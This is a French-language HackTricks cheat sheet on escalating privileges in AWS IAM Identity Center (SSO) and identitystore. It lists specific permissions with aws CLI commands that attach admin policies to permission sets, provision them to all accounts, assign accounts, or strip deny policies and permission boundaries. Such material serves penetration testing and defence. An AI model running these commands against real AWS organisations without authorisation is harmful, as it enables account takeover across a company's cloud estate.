AWS - SSO & identitystore Privesc

Support HackTricks

AWS Identity Center / AWS SSO

Pour plus d'informations sur AWS Identity Center / AWS SSO, consultez :

Notez qu'en default, seuls les utilisateurs avec des permissions du compte de gestion pourront accéder et contrôler le IAM Identity Center. Les utilisateurs d'autres comptes ne peuvent le permettre que si le compte est un Administrateur délégué. Consultez la documentation pour plus d'infos.

Réinitialiser le mot de passe

Un moyen facile d'escalader les privilèges dans des cas comme celui-ci serait d'avoir une permission qui permet de réinitialiser les mots de passe des utilisateurs. Malheureusement, il n'est possible d'envoyer un e-mail à l'utilisateur pour réinitialiser son mot de passe, donc vous auriez besoin d'accéder à l'e-mail de l'utilisateur.

identitystore:CreateGroupMembership

Avec cette permission, il est possible de placer un utilisateur dans un groupe afin qu'il hérite de toutes les permissions que le groupe possède.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Un attaquant avec cette permission pourrait accorder des permissions supplémentaires à un ensemble de permissions qui est accordé à un utilisateur sous son contrôle.

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Un attaquant avec cette permission pourrait accorder des permissions supplémentaires à un Ensemble de Permissions qui est accordé à un utilisateur sous son contrôle.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Un attaquant avec cette permission pourrait accorder des permissions supplémentaires à un ensemble de permissions qui est accordé à un utilisateur sous son contrôle.

Pour abuser de ces permissions dans ce cas, vous devez connaître le nom d'une politique gérée par le client qui se trouve dans TOUS les comptes qui vont être affectés.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Un attaquant disposant de cette autorisation pourrait attribuer un ensemble de permissions à un utilisateur sous son contrôle pour un compte.

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Renvoie les informations d'identification à court terme STS pour un nom de rôle donné qui est attribué à l'utilisateur.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Cependant, vous avez besoin d'un jeton d'accès que je ne sais pas comment obtenir (TODO).

sso:DetachManagedPolicyFromPermissionSet

Un attaquant ayant cette autorisation peut supprimer l'association entre une politique gérée par AWS et l'ensemble de permissions spécifié. Il est possible d'accorder plus de privilèges en détachant une politique gérée (politique de refus).

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Un attaquant avec cette permission peut supprimer l'association entre une politique gérée par le client et l'ensemble de permissions spécifié. Il est possible d'accorder plus de privilèges en détachant une politique gérée (politique de refus).

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

Un attaquant avec cette permission peut supprimer les permissions d'une politique intégrée du jeu de permissions. Il est possible d'accorder plus de privilèges en détachant une politique intégrée (politique de refus).

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

Un attaquant avec cette permission peut supprimer la Limite de Permission de l'ensemble de permissions. Il est possible d'accorder plus de privilèges en supprimant les restrictions sur l'ensemble de permissions donné par la Limite de Permission.

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Soutenir HackTricks

Last updated